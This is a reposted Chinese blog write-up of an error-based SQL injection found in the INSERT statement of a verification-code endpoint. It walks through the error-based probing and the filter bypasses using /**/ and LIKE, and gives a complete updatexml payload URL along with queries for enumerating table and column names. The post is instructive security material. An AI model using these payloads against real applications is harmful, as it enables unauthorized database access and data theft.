内容简介:Insert注入实例简单分析
注入分析
在工作时遇到一个注入,insert型的报错注入,比较典型,记录一下利用的思路。
URL参数部分如下: userId=724'&idCode=&phoneNum=138&cb=jsonp
可见基本上由三个参数构成,在 userID 和 phoneNum 参数后加单引号会直接报错,报错信息如下:
不过仅有上面两条报错信息分析不出来什么,还要继续试,单引号后再加参数fuzz一会,再加上此处的业务逻辑是发验证码,猜测此处有可能是Insert注入,再结合一个很关键的报错信息如下:
fuzz 参数phoneNum为 138',' :
这个报错信息很明显了,加了个逗号,告诉我参数数量是4,而应该是3,基本上可以确定为这里的 SQL 存储过程执行的是插入语句,且插入语句的大体结构可能如下:
insert into table values('userid', 'phoneNum', '')
结合报错信息来看,涉及到参数的语句在小括号外面还有一对单引号,故我们得出的此处参数如下: '('userId', 'phoneNum', '')'
这个结构可以解释之前所有的报错,所以基于这个结构构造注入语句试一试。
自然的构造如下的语句:
'('userId' or updatexml() or '','phoneNum', '')'
这样就可以执行updatexml()语句执行报错,故所需Payload只是把userId参数改掉,改成如上的格式就可以。还有一点坑的地方就是这个地方过滤了 等号 和 空格 ,所以采取一些过滤方式,比如/**/,%09,like等,就可以绕过过滤执行语句了。
注入过程
-
爆表的数量
userId=724'/**/or/**/updatexml(1,concat(0x7e,concat(0x7e,(select/**/count(*)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'spzh'/**/limit/**/0,1),0x7e),0x7e),0)/**/or'&idCode=&phoneNum=138&cb=jsonp
-
爆表名
select table_name from information_schema.tables where table_schema='库名' -
爆列名
select column_name from information_schema.columns where table_name='表名'后面爆数据不再赘述。可以写个简单的脚本,很快就能爆出想要的数据了。
简单总结
主要是对于sql语句的猜测,此处结合了业务和报错做的一些分析,第一次遇到这个场景,没有猜到是insert注入之前很纳闷这个语句是什么情况,想到是insert注入之后很多奇怪报错现象就迎刃而解了。所以在注入过程中还是要多联系业务场景,遇到问题采用排除法仔细排查。
以上所述就是小编给大家介绍的《Insert注入实例简单分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Spring依赖注入的三种方式实例详解
- Spring IOC的核心机制:实例化与注入
- Spring源码分析(二)bean的实例化和IOC依赖注入
- thinkphp高危漏洞修复--因控制器任意实例化产生的注入漏洞
- Angular 4 依赖注入教程之二 组件中注入服务
- 服务端注入之Flask框架中服务端模板注入问题
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Persuasive Technology
B.J. Fogg / Morgan Kaufmann / 2002-12 / USD 39.95
Can computers change what you think and do? Can they motivate you to stop smoking, persuade you to buy insurance, or convince you to join the Army? "Yes, they can," says Dr. B.J. Fogg, directo......一起来看看 《Persuasive Technology》 这本书的介绍吧!
MD5 加密
MD5 加密工具
XML、JSON 在线转换
在线XML、JSON转换工具